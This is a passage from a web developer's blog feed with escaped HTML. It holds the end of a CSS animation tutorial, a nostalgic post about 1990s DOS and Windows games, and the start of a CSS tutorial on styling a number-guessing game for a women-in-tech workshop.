&lt;p&gt;If it’s permanent styling, formalise it and code it right into your CSS. If it’s short-term or one-off styling, use a utility class.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This was really the line that flipped a switch in my brain. Before that I was always confused on whether to add certain CSS properties to a component&apos;s styles or create a separate utility class. Keeping with the guideline that utility classes should be very specific and do only one thing well, these are the utility classes I used.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.u-flex-end {
  justify-content: flex-end;
}

.u-txt-center {
  text-align: center;
}

.u-centralise {
  margin-left: auto;
  margin-right: auto;
}

.u-pos-relative {
  position: relative;
}

.u-margin-bot {
  margin-bottom: 2em;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;C is for component&lt;/h3&gt;
&lt;p&gt;In the non-animation version, there really wasn&apos;t much use for component-specific styles. I considered the option set a component, and the button set another component. So we now also have &lt;code&gt;c-4options&lt;/code&gt; and &lt;code&gt;c-actions&lt;/code&gt; classes. I tend to use plural forms for parent divs so I can re-use the singular for child elements. What can I say? Naming is hard.&lt;/p&gt;
&lt;p&gt;Because components are defined as a concrete, implementation-specific piece of UI, the styles should be context-specific. So buttons have both the &lt;code&gt;o-btn&lt;/code&gt; and &lt;code&gt;c-action&lt;/code&gt; class, where the object styles would apply regardless of where you see my buttons, but the component styles are specific to when they are used in the context of being form controls.&lt;/p&gt;
&lt;p&gt;Now that we got that out of the way, time to add in the animation bits.&lt;/p&gt;
&lt;h2&gt;Enhance with animation&lt;/h2&gt;
&lt;p&gt;We only want the animation-related styles to apply on browsers that support animation, and we can do that using a tool called &lt;a href=&quot;https://modernizr.com/&quot;&gt;Modernizr&lt;/a&gt;. If you don&apos;t know what Modernizr is, it is written in JavaScript and detects if certain features are available on the browser your site/app is currently running on. You can customise your Modernizr build by only selecting the features you&apos;ve used instead of the entire plethora of HTML, CSS and JavaScript features available out there.&lt;/p&gt;
&lt;p&gt;Codepen includes a number of popular JavaScript libraries and you can quick add Modernizr from the JavaScript section of your Pen&apos;s settings. The extent of the JavaScript used on this project is simply to add and remove CSS classes. All the heavy lifting is done with CSS animations.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if (window.Modernizr.csstransforms3d &amp;amp;&amp;amp; window.requestAnimationFrame) {
  doc.className += &amp;quot; has-animation&amp;quot;;
  window[&amp;quot;hasAnimation&amp;quot;] = true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the browser supports animations, the script will add a &lt;code&gt;has-animations&lt;/code&gt; class to the HTML element. Because I used SASS, I nested all the animation-related styles inside the &lt;code&gt;.has-animations&lt;/code&gt; class. All the CSS in this section are the nested bits.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;End result should look like this.&lt;/figcaption&gt;
  &lt;video controls autoplay muted=&quot;true&quot; loop&gt;
    &lt;source src=&quot;/videos/animation.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    &lt;p&gt;
      Sorry, your browser doesn’t support embedded videos. Sorry, your browser doesn’t support
      embedded videos, but don’t worry, you can &lt;a href=&quot;/videos/animation.mp4&quot;&gt;download it&lt;/a&gt;and
      watch it with your favourite video player!
    &lt;/p&gt;
  &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;From a layout perspective, the buttons section becomes positioned directly beneath the options section. The key to this animation is the &lt;code&gt;z-index&lt;/code&gt; property. What we want is that when nothing is selected, all 4 options are clickable and sitting on the topmost layer, while the buttons hidden away below them. When something is selected, 2 classes are triggered. The parent wrappers for options and buttons both get an &lt;code&gt;is-active&lt;/code&gt; class and the selected option gets an &lt;code&gt;is-selected&lt;/code&gt; class.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.c-actions {
  position: absolute;
  top: 0;
  right: 0;
  left: 0;
  z-index: -1;
}

.c-action,
.is-active .o-option:not(.is-checked) {
  transform: scale(0);
  opacity: 0;
  z-index: 0;
}

.o-option,
.c-action {
  transition: transform 0.4s ease-in-out, opacity 0.4s ease-out;
  transition-delay: 0.1s;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We make use of the &lt;code&gt;:not&lt;/code&gt; pseudo-class to target all the options which weren&apos;t selected and make them hidden, like the buttons originally were when nothing was selected. Transforms and opacity are the 2 properties which can be safely animated, and we do that by adding a transition property to the options.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.is-active.c-actions {
  z-index: 1;
}

.is-active .c-action {
  opacity: 1;
  transform: scale(1);
}

.is-active.c-4options {
  z-index: -1;
  .is-checked.o-option:nth-child(1) {
    transform: translateX(100%);
  }
  .is-checked.o-option:nth-child(3) {
    transform: translateX(-100%);
  }
  .is-checked.o-option:nth-child(4) {
    transform: translateX(-200%);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the &lt;code&gt;.is-active&lt;/code&gt; selector is in play, the buttons need to be on the topmost layer, and only the selected option should be visible. The &lt;code&gt;nth-child&lt;/code&gt; selectors come in very handy here, because the selected option will always appear second from the left, while the other options remain constant. Depending on the source order of the option, the relevant translation rule will kick in and shift the option to the second position every time &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with sunglasses&quot;&gt;😎&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;I added in a logo image just to fill in the blank space in the first position after an option was selected, and it lives in the buttons wrapper. I think if I were using Grid I would have been able to specify the I wanted the logo in the first column, while the &lt;em&gt;Cancel&lt;/em&gt; and &lt;em&gt;OK&lt;/em&gt; buttons were in the third and fourth columns respectively. But you can&apos;t do this simply with flexbox so I cheated and used translate to kick it to the left instead. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;The stuff I said I would talk about later&lt;/h2&gt;
&lt;p&gt;Remember that line all the way up the the post that looked something like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;font-size: calc(3vw + 1em);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I got this idea from &lt;a href=&quot;https://madebymike.com.au/&quot;&gt;Mike Riethmuller&lt;/a&gt;, who has wrote about this topic quite extensively &lt;a href=&quot;https://madebymike.com.au/writing/precise-control-responsive-typography/&quot;&gt;on his own blog&lt;/a&gt; as well as for &lt;a href=&quot;https://www.smashingmagazine.com/2016/05/fluid-typography/&quot;&gt;Smashing Magazine&lt;/a&gt;. He gets around the issue of CSS not having a minimum font size property with the &lt;code&gt;calc()&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;An issue with using purely viewport units for your font-size is that there will be a point where the font size becomes unacceptably small. Using a &lt;code&gt;calc()&lt;/code&gt; expression allows us to set a minimum size (in the above example, 1em) to prevent that.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p
  data-height=&quot;400&quot;
  data-theme-id=&quot;9162&quot;
  data-slug-hash=&quot;vKdzwo&quot;
  data-default-tab=&quot;result&quot;
  data-user=&quot;huijing&quot;
  data-embed-version=&quot;2&quot;
  class=&quot;codepen&quot;
&gt;
  See the Pen &lt;a href=&quot;http://codepen.io/huijing/pen/vKdzwo/&quot;&gt;Fun with CSS: NBA edition&lt;/a&gt; by Chen
  Hui Jing (&lt;a href=&quot;http://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;) on{&quot; &quot;}
  &lt;a href=&quot;http://codepen.io&quot;&gt;CodePen&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;The entire demo is on Codepen, so feel free to do whatever you want with it. This post definitely turned out much longer than I anticipated, largely because I ramble a lot #selfaware. But I did learn a lot from building it, especially the ITCSS structuring portion. I mean, I could have chucked everything into large monolithic components and still got everything work, BUT I DIDN&apos;T.&lt;/p&gt;
&lt;p&gt;The moral of the story is, the best way to learn something is to write a blog post about it AND imagine that it&apos;ll be read by a lot of people (even if you know odds are only 10 people will). That way you&apos;ll feel obliged to actually do some proper research and put in a decent amount of effort to clean up your code &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with horns&quot;&gt;😈&lt;/span&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Reminiscing the 90s and other random thoughts</title><link>https://chenhuijing.com/blog/reminiscing-the-90s/</link><guid isPermaLink="true">https://chenhuijing.com/blog/reminiscing-the-90s/</guid><description>So I&apos;m fresh off the latest iteration of Hackware, a monthly meetup for hardware developers and enthusiasts in Singapore and the theme for this round was…</description><pubDate>Thu, 08 Sep 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So I&apos;m fresh off the latest iteration of &lt;a href=&quot;http://www.meetup.com/Hackware/&quot;&gt;Hackware&lt;/a&gt;, a monthly meetup for hardware developers and enthusiasts in Singapore and the theme for this round was Vintage Computing. I can&apos;t tell you how much I appreciate and love vintage technology, but generally my face goes &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with heart-eyes&quot;&gt;😍&lt;/span&gt; when the topic comes up.&lt;/p&gt;
&lt;p&gt;The event reminded me of a really long conversation I had with a friend a couple months ago. We hadn’t met in a while and our conversation veered all over the place. But one of the things we talked about was computers. Specifically, how some people are just averse to figuring out computers, that it’s a specific personality that can become “IT folk”.&lt;/p&gt;
&lt;h2&gt;Computers...compute...computations&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Warning...this part might come across as kinda ranty&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;A computer performs computations, hence the name. Fun fact, computers used to be people. Back in the 18th century, with the advent of the Industrial Age, being a human computer was a respectable profession that helped further humanity into the modern age we know today.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Fascinating book on human computers.&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/vintage/wcwh.jpg&quot;
    srcset=&quot;/images/posts/vintage/wcwh@2x.jpg 2x&quot;
    alt=&quot;When computers were human&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;But I digress, computers have evolved at an astonishing rate within the last 100 years, from behemoths spanning rooms running on vacuum tubes, then moving on to transistors, and now we have tiny devices running on microchips.&lt;/p&gt;
&lt;p&gt;It might be hard for some younger folk to imagine, but computers weren’t all that common in the home as recently as 30 years ago. Most early home computers came as kits, requiring technical know-how to assemble and program. But as mass market computers started to take off, the level of technical knowledge required to operate and use a computer conversely went down.&lt;/p&gt;
&lt;p&gt;I suppose that’s also a reason why personal computing became more ubiquitous. Fast-forward to today, it’s not unreasonable to say that there are a large percentage of computer users who don’t understand how computers work. It’s almost seems like a magic box that does magical things.&lt;/p&gt;
&lt;h2&gt;A magic box, you say...&lt;/h2&gt;
&lt;p&gt;As computers became more widespread and popular among the general public, the demand for easy-to-use interfaces also ballooned. Graphical user interfaces (GUIs) had been around for the longest time though. Think Apple’s iconic Macintosh desktop, and the still-going-strong X11. These interfaces were more intuitive for most common users with no formal technical training and really grew the industry as well.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/vintage/mac-gui-640.jpg&quot;
  srcset=&quot;/images/posts/vintage/mac-gui-480.jpg 480w, /images/posts/vintage/mac-gui-640.jpg 640w, /images/posts/vintage/mac-gui-960.jpg 960w, /images/posts/vintage/mac-gui-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Mac GUI&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;But everything has a down-side, and the down-side of this is that we now have quite a large proportion of users who really don’t know how computers work. If you’re the token IT guy among your friends or colleagues, I think you’ll relate to this.&lt;/p&gt;
&lt;p&gt;I’m using the word computer very broadly here, smartphones, tablets, laptops, they’re all computers to me. Even though I sometimes think it’d be nice if the common user goes through some basic computer literacy course before being allowed to operate a computer, I guess that’s pretty unrealistic. From the consumer’s standpoint, we just want something that is easy to use and just works out the box.&lt;/p&gt;
&lt;p&gt;So you can imagine my excitement when the Hackware announced that they would be doing a Vintage Computing edition of the meetup. It also made me start thinking about how I used computers twenty years ago. I thought it&apos;d be fun to try to remember and document as much I could. There will likely be inaccuracies though, because &lt;a href=&quot;http://arstechnica.com/science/2016/08/false-memories-arise-because-the-brain-codes-similar-ideas-similarly/&quot;&gt;your brain will lie to you!&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;End ranty section and start reminiscing section&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Before the age of pointy-clicky&lt;/h2&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Does anybody remember this at all?&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/vintage/da-640.jpg&quot;
    srcset=&quot;/images/posts/vintage/da-480.jpg 480w, /images/posts/vintage/da-640.jpg 640w, /images/posts/vintage/da-960.jpg 960w, /images/posts/vintage/da-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;Direct Access start-up&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;I was lucky enough to be exposed to computers since the age of 5. The first computer I played around with ran on MS-DOS. To be honest, the only reason I learned to operate that machine was purely so I could play games. I think it’s safe to say that it was easier to understand how computers worked then, simply because there was a lower level of abstraction than what we have now. I’m not saying it’s a bad thing, it’s just an observation.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Direct Access, the DOS menuing shell by Delta Technology International&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/vintage/da2-640.jpg&quot;
    srcset=&quot;/images/posts/vintage/da2-480.jpg 480w, /images/posts/vintage/da2-640.jpg 640w, /images/posts/vintage/da2-960.jpg 960w, /images/posts/vintage/da2-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;Direct Access&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;So this was the first operating system I ever used, or at least that I can remember I used. When we first got Windows 3.1 installed, it had to be launched from this DOS menuing shell too. Our games were installed to a separate directory and the only 2 entries I ever accessed were Windows and Games.&lt;/p&gt;
&lt;h2&gt;When turbo buttons were a thing&lt;/h2&gt;
&lt;p&gt;According to my older sister, we had an Apple II before I was born, but we didn&apos;t bring it along with us when we moved. The earliest computer I can remember had a horizontal chasis, a 5.25 inch floppy drive and the magical turbo button.&lt;/p&gt;
&lt;p&gt;At the time I didn&apos;t know what it did except that it changed the numbers on the display when we pressed it. I found out much later (from &lt;a href=&quot;http://www.howtogeek.com/trivia/what-effect-did-the-turbo-button-have-on-early-personal-computers/&quot;&gt;HowToGeek.com&lt;/a&gt;) that the name turbo was misleading because it actually &lt;em&gt;slowed the processor&lt;/em&gt;. Processor speed determined the timing of in-application events, especially critical in games, and the turbo button was a hard-wired solution for games that were built to be played on slower systems.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;We had something similar at home.&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/vintage/vintage-pc.jpg&quot;
    srcset=&quot;/images/posts/vintage/vintage-pc@2x.jpg 2x&quot;
    alt=&quot;Vintage PC, possibly from the late 80s early 90s&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;I guess the games that I played didn&apos;t really have this compatibility issue, hence the lack of awareness of what purpose it actually served. It did make a lovely click sound when depressed though (we remember the most useless things, don&apos;t we).&lt;/p&gt;
&lt;h2&gt;All the glorious pixels&lt;/h2&gt;
&lt;p&gt;There were a lot of educational games in the Chen household. But I found them fun to play anyway. There were a lot of Broderbund and The Learning Company games. Even my dad played Where in the World is Carmen Sandiego, and we had the Space version, the Time version and a bunch of other spin-offs. Boy did the publishers milk that franchise.&lt;/p&gt;
&lt;p&gt;It wasn&apos;t until I read the book &lt;a href=&quot;http://www.apress.com/9781430233510&quot;&gt;Gamers at Work&lt;/a&gt; that I realised Broderbund was acquired by The Learning Company in 1998. Another publisher whose games I really loved was Sierra, which made the Dr. Brain series, as well the slew of city-building games which began with Caesar back in 1992.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Classic Carmen Sandiego&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/vintage/carmen.jpg&quot;
      srcset=&quot;/images/posts/vintage/carmen@2x.jpg 2x&quot;
      alt=&quot;Where in the world is Carmen Sandiego&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Among many in the series&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/vintage/treasure-mtn.jpg&quot;
      srcset=&quot;/images/posts/vintage/treasure-mtn@2x.jpg 2x&quot;
      alt=&quot;Treasure Mountain&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;Of course we had more than just educational games. Side-scrollers were all the rage back then, Cosmo&apos;s Cosmic Adventure and Commander Keen were among my favourites. There wasn&apos;t any DRM stuff back then so whenever we went to visit my cousins, we&apos;d just copy games onto 3.5 inch floppies and bring em&apos; home. I think most of our games were shareware anyway, because I distinctly remember only being able to play the first episode of Doom and replayed it so many times I could speed-run through it.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Side-scrollers were the best&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/vintage/cosmo.jpg&quot;
      srcset=&quot;/images/posts/vintage/cosmo@2x.jpg 2x&quot;
      alt=&quot;Cosmo&apos;s Cosmic Adventure&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;This had interesting save features&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/vintage/prehistorik.jpg&quot;
      srcset=&quot;/images/posts/vintage/prehistorik@2x.jpg 2x&quot;
      alt=&quot;Prehistorik 2&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;You can imagine how ecstatic I was when I discovered this marvellous app known as &lt;a href=&quot;https://www.dosbox.com/&quot;&gt;DosBox&lt;/a&gt;. I then proceeded to search out ALL the Dos games I played when I was a kid, as well as the full versions of those shareware ones. If you&apos;re interested, hit me up. Most of the Dos games are abandonware now anyway.&lt;/p&gt;
&lt;p&gt;We moved on to Windows 3.1 eventually and that brought along another set of games into my life. There was this Tetris clone called Faces that somehow left a pretty lasting impression. But speaking of Tetris, I can&apos;t tell you how many hours I spent on that. There was one point where when I closed my eyes I could see those falling blocks. There was also this golf game I can&apos;t really remember and Ski Free!&lt;/p&gt;
&lt;p&gt;If you haven&apos;t played Ski Free before, it&apos;s really simple. You control this ski-er zooming downhill but you get points for doing tricks on jumps. But it was compellingly addictive. In fact, this probably explains why I loved the SSX series much later when I finally got a Playstation.&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face screaming in fear&quot;&gt;😱&lt;/span&gt; Revelations!&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;So many hours on this&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/vintage/tetris.jpg&quot;
      srcset=&quot;/images/posts/vintage/tetris@2x.jpg 2x&quot;
      alt=&quot;Tetris&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Surprisingly addictive this one&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/vintage/skifree.jpg&quot;
      srcset=&quot;/images/posts/vintage/skifree@2x.jpg 2x&quot;
      alt=&quot;Ski Free&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Well, that was my trip down memory lane. I don&apos;t actually personally know that many people who love old games, come to think of it. So that&apos;s probably why this post grew so long, years of conversation about vintage games just tumbling out from my brain. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;nerd face&quot;&gt;🤓&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Anyway, if you&apos;re remotely interested in hardware and are currently in or will be in Singapore, check out &lt;a href=&quot;http://www.meetup.com/Hackware/&quot;&gt;Hackware&lt;/a&gt; or any other of the local tech meetups from &lt;a href=&quot;https://web.archive.org/web/20190716050141/http://webuild.sg/&quot;&gt;webuild.sg&lt;/a&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Fun with CSS: TechLadies edition</title><link>https://chenhuijing.com/blog/fun-with-css/</link><guid isPermaLink="true">https://chenhuijing.com/blog/fun-with-css/</guid><description>So there&apos;s this thing going on known as the TechLadies Bootcamp. TechLadies is a community-led initiative for women in Asia to connect, learn, and advance as…</description><pubDate>Mon, 22 Aug 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So there&apos;s this thing going on known as the &lt;a href=&quot;http://www.techladies.co/&quot;&gt;TechLadies Bootcamp&lt;/a&gt;. TechLadies is a community-led initiative for women in Asia to connect, learn, and advance as programmers in the tech industry (I lifted that verbatim from the website &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with stuck-out tongue&quot;&gt;😛&lt;/span&gt;). I was helping out with one of the pre-bootcamp workshops covering, what else, HTML and CSS.&lt;/p&gt;
&lt;p&gt;The goal of the workshop was to introduce the basics of the Internet, plus an introduction to HTML and CSS. Our task for the day was to style a simple Ruby application, called Guess The Number. Although the application was built in Ruby, the participants only needed to concern themselves with the views portion.&lt;/p&gt;
&lt;p&gt;Given I was supposed to be teaching this workshop, I figured I&apos;d better do some leg-work first, and try my hand at styling the application myself. I guess I got a little carried away, in that things got a bit too fancy for a beginner&apos;s workshop. But it was really fun for me and I thought I&apos;d share what I did for the fancy edition.&lt;/p&gt;
&lt;h2&gt;Application mark-up&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/TechLadies/guess-the-number-sinatra&quot;&gt;base application&lt;/a&gt; was written by &lt;a href=&quot;http://avantbard.com/&quot;&gt;Gabe Hollombe&lt;/a&gt;, probably in 5 minutes with one hand tied behind his back, because he&apos;s brilliant like that &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with sunglasses&quot;&gt;😎&lt;/span&gt;. There were 3 main views, the start page, play page and win page. Excellent, because it provided just enough material to cover for a beginner&apos;s workshop.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;index.html&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;body class=&amp;quot;flex start&amp;quot;&amp;gt;
  &amp;lt;main class=&amp;quot;flex-item&amp;quot;&amp;gt;
    &amp;lt;h1 class=&amp;quot;title&amp;quot;&amp;gt;
      &amp;lt;span&amp;gt;Guess The&amp;lt;/span&amp;gt;
      &amp;lt;span&amp;gt;Number&amp;lt;/span&amp;gt;
    &amp;lt;/h1&amp;gt;

    &amp;lt;div class=&amp;quot;text-wrapper&amp;quot;&amp;gt;
      &amp;lt;p&amp;gt;Here&apos;s a simple game you can play to try and guess the number I&apos;m thinking of.&amp;lt;/p&amp;gt;
      &amp;lt;p&amp;gt;Ready to play?&amp;lt;/p&amp;gt;
      &amp;lt;a class=&amp;quot;btn&amp;quot; href=&amp;quot;/new&amp;quot;&amp;gt;Start!&amp;lt;/a&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/main&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;play.erb&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;body class=&amp;quot;flex play&amp;quot;&amp;gt;
  &amp;lt;main class=&amp;quot;flex-item&amp;quot;&amp;gt;
    &amp;lt;div class=&amp;quot;text-wrapper&amp;quot;&amp;gt;
      &amp;lt;h1&amp;gt;I&apos;m thinking of a number between 1 and 100.&amp;lt;/h1&amp;gt;
      &amp;lt;h2&amp;gt;&amp;lt;%= guess_prompt %&amp;gt;&amp;lt;/h2&amp;gt;
      &amp;lt;p&amp;gt;&amp;lt;%= guess_description %&amp;gt;&amp;lt;/p&amp;gt;

      &amp;lt;form action=&amp;quot;/play&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;
        &amp;lt;input
          class=&amp;quot;guess-value&amp;quot;
          type=&amp;quot;number&amp;quot;
          name=&amp;quot;guessed_number&amp;quot;
          min=&amp;quot;0&amp;quot;
          max=&amp;quot;100&amp;quot;
          autofocus
        /&amp;gt;
        &amp;lt;input class=&amp;quot;btn&amp;quot; type=&amp;quot;submit&amp;quot; value=&amp;quot;Guess&amp;quot; /&amp;gt;
      &amp;lt;/form&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/main&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;win.erb&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;body class=&amp;quot;flex play&amp;quot;&amp;gt;
  &amp;lt;main class=&amp;quot;flex-item&amp;quot;&amp;gt;
    &amp;lt;div class=&amp;quot;text-wrapper&amp;quot;&amp;gt;
      &amp;lt;h1&amp;gt;You Win!&amp;lt;/h1&amp;gt;
      &amp;lt;img class=&amp;quot;trophy&amp;quot; src=&amp;quot;img/trophy.svg&amp;quot; alt=&amp;quot;Trophy&amp;quot; /&amp;gt;
      &amp;lt;h2&amp;gt;You guessed it! I was thinking of the number &amp;lt;%= secret_number %&amp;gt;.&amp;lt;/h2&amp;gt;
      &amp;lt;a class=&amp;quot;btn&amp;quot; href=&amp;quot;/new&amp;quot;&amp;gt;Play Again&amp;lt;/a&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/main&amp;gt;
&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;But first, let me add some resets&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;html {
  box-sizing: border-box;
  height: 100%;
}

*,
*::before,
*::after {
  box-sizing: inherit;
}

h1,
h2,
p {
  margin: 0;
  padding: 0;
}

input,
button {
  appearance: none;
  display: block;
  border: 0;
  border-radius: 0;
  outline: 0;
  font-size: inherit;

  &amp;amp;:hover,
  &amp;amp;:active,
  &amp;amp;:focus {
    border: 0;
    outline: 0;
  }
}

img {
  max-width: 100%;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;General layout&lt;/h2&gt;
&lt;p&gt;Centre all the things with flexbox! To keep things simple, I just made everything right smack in the middle of the page, and no better way to do that now than with flexbox.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.flex {
  display: flex;
  flex-wrap: wrap;
  text-align: center;
  align-items: center;
}

.flex-item {
  flex: 1 1 100%;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;.flex&lt;/code&gt; class was applied on the &lt;code&gt;body&lt;/code&gt; element while the &lt;code&gt;.flex-item&lt;/code&gt; class was applied to the &lt;code&gt;main&lt;/code&gt; element.&lt;/p&gt;
&lt;h2&gt;Opening title&lt;/h2&gt;
&lt;p&gt;I wanted a skewed, slanted effect for the title, kind of like those television game show opening sequences (or least, those in my head). And it had to be BIG, so you couldn&apos;t miss it. So I went for a sans-serif that was chunky, but narrow. &lt;a href=&quot;https://fonts.google.com/specimen/Fjalla+One&quot;&gt;Fjalla One&lt;/a&gt; felt right to me. The whole title was a bit long, so I split it up with &lt;code&gt;span&lt;/code&gt; tags.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;h1 {
  font-family: &amp;quot;Fjalla One&amp;quot;, sans-serif;
  text-transform: uppercase;
  margin-bottom: 0.5em;
}

.title {
  font-size: 15vmin;
  margin: 5vmin 0;

  span {
    transform: rotate(-10deg) skew(-10deg);
    display: block;
    text-shadow: 1px 1px #333, 2px 2px #333, 3px 3px #333, 4px 4px #333, 5px 5px #333, 6px 6px #333;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;transform&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;But the crux of the title style is the &lt;code&gt;transform&lt;/code&gt;&lt;/code&gt;` property. CSS transforms allow us to do all kinds of fun stuff, like in Photoshop but with code. I wrote about &lt;a href=&quot;/blog/basics-of-css-transforms/&quot;&gt;basic 2D transforms&lt;/a&gt; a while back, if anyone is interested to find out more about this awesome property.&lt;/p&gt;
&lt;figure&gt;
    &lt;img src=&quot;/images/posts/tl-ws2/title.svg&quot; alt=&quot;Transforming the title&quot;&gt;
    &lt;figcaption&gt;First rotate -10 degrees, then skew -10 degrees&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;span {
  transform: rotate(-10deg) skew(-10deg);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you want to combine multiple transforms, they should be applied to the same transform property. Meaning if you declare the individual transforms one after another in two separate properties, only the last one will apply.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Wrong way to do it:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;span {
  transform: rotate(-10deg);
  transform: skew(-10deg); /* Only this one will take */
}
